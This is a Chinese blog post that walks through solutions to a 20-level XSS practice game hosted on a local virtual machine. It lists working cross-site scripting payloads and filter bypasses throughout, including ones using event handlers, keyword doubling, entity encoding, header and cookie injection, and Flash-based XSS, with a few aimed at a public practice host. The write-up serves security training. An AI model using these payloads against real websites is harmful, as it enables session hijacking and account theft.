zoukankan      html  css  js  c++  java
  • XSS练习小游戏和答案参考

    源码:https://files.cnblogs.com/files/Eleven-Liu/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip

    感谢源码作者提供了这样的环境。

    我自己在本地虚拟机的路径,http://127.0.0.1/xss/  打开后提示点击图片,进入第一关。

    第一关:输入的变量直接被输出,直接构造payload即可。

    http://127.0.0.1/xss/level1.php?name=<script>alert(1)</script>

    http://127.0.0.1/xss/level1.php?name=test‘<script>alert(1)</script>

    第二关:搜索框的XSS,输入的变量直接输出到input标签内,闭合input标签,构造XSS,备注:echo语句输出到页面时使用了htmlspecialchars函数。

    payload:

    http://127.0.0.1/xss/level2.php?keyword=test"><script>alert(1)</script>

    第三关:输入的变量被htmlspecialchars函数处理了,这个函数处理的字符有<  >  "  ,没有处理单引号,因此利用单引号构造payload,先通过单引号闭合value

    http://127.0.0.1/xss/level3.php?keyword='onmouseover='alert(1)'

    第四关:大于号 小于号 被过滤了,构造不包含这两个符号的payload,value的值与第三关有所差异,这里需要使用双引号用于闭合value标签

    http://127.0.0.1/xss/level4.php?keyword=test"onmouseover='alert(1)'

    第五关:<script  和on被替换了,构造不含这两个的payload

    127.0.0.1/xss/level5.php?keyword=find a way out!1"><a href="javascript:alert(1)">

    第六关:比第五关过滤的东西更多,包括了src  data  href  ,可以把这些关键字大写,以绕过这些过滤,payload

    http://127.0.0.1/xss/level6.php?keyword=break it out!1"><SCRIPT>alert(1)</script>

    第七关:增加strtolower函数把输入变量转成了小写,但过滤的字符强制变成空格,可以使用<scriscritpt>,中间的script变成了空格,正好变成了<script>

    127.0.0.1/xss/level7.php?keyword=move up!1"><scriscriptpt>alert(1)</scriscriptpt>

    第八关:input中输入的变量通过htmlspecialchars被处理了,且双引号被替换成空,无法通过双引号闭合value。这里的输入被添加至超链接中,直接构造payload:javascript,对其中的字母进行实体编码

    搜索框中输入  java&#x73;cript:alert(1)    点击添加到友情链接,点击链接

     第九关:上一关的基础上,判断输入的链接是否包含http://,因为用的是strpos函数,没有限制必须是开始的位置,所以在上一关的基础上,修改payload为 java&#x73;cript:alert('http://')

    第十关:keyword变量没办法构造payload,发现隐藏变量t_sort,可以被写入,但过滤了大于小于号,构造不含大于小于号的payload,类型改为text,具体如下:

    http://127.0.0.1/xss/level10.php?t_sort="onmouseover='alert(1)'type="text"

    第十一关: 查看源码:  可以看到t_ref的value是我们访问这个网页的referer值,故可以抓包修改referer,在referer后加入” onmouseover='alert(1)' type="text"。

    第十二关:查看源码,$str33最初是由HTTP_USER_AGENT过滤<  >  而来,修改User-Agent,在后面加上" onmouseover='alert(1)' type="text"。

    第十三关:同上,查看源码,$str33最初是由cookie过滤<  >  而来,修改cookie,在后面加上" onmouseover='alert(1)' type="text"。

    第十四关:网站已经打不开,略过

    第十五关:没太看懂,略过

    第十六关:script  /  空格被过滤了 ,用%0d换行符绕过

    http://127.0.0.1/xss/level16.php?keyword=%3Cimg%0dsrc=1%0donerror=alert(2)%3Ealert(2)

    第十七关:arg01和arg02  被htmlspecialchars过滤了,通过onmouseover='alert(1)'绕过。

    http://127.0.0.1/xss/level17.php?arg01=a&arg02=%20onmouseover=alert%282%29

    第十八关:同十七,直接把arg02 设置为onmouseover='alert(1)'

    http://192.168.40.128/xss/level18.php?arg01=a&arg02= onmouseover=alert(2)

    第十九关:

    这一关开始是flash xss了,首先下载页面中的flash,对源码进行分析,我用的是JPEXS这款工具。发现是actionscript 2.0,首先定位getURL函数,
    sIFR.menuItems.push(new ContextMenuItem("Followlink",function()
    {
    getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);
    }),new ContextMenuItem("Open link in new window",function()
    {
    getURL(sIFR.instance.primaryLink,"_blank");
    }));
    再追踪到sIFR的内容,省略了一些代码,关键代码如下:
    if(_loc5_ && _root.version != sIFR.VERSION)
    {
    _loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);
    }
    得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL 只在内容为link时,打开,故定位以下函数:
    function contentIsLink()
    {
    return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ") ==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);
    }


    所以构造最终payload,如下:
    http://sqler.win/xss/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss_by_SST%3C/a%3E
    点击传入进去的’xss_by_SST‘就可以触发XSS。
    第二十关:将swf下载下下来分析得知是zeroclipboard.swf , 百度一下,有漏洞详情,构造payload如下:http://sqler.win/xss/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height
     
    后面两关没做出来,参考了其他人的答案。
     
     
     
  • 相关阅读:
    小程序云开发学习笔记
    188.gulp创建任务
    187.gulp介绍和安装
    186.npm使用详解
    185.nvm和node.js环境配置
    171.补充-在模板中添加权限控制
    170.分组-group、permission、user的操作
    内置中间件CommonMiddleware
    Django内置的中间件
    144.中间件的原理和定义方式详解
  • 原文地址:https://www.cnblogs.com/Eleven-Liu/p/8025361.html
Copyright © 2011-2022 走看看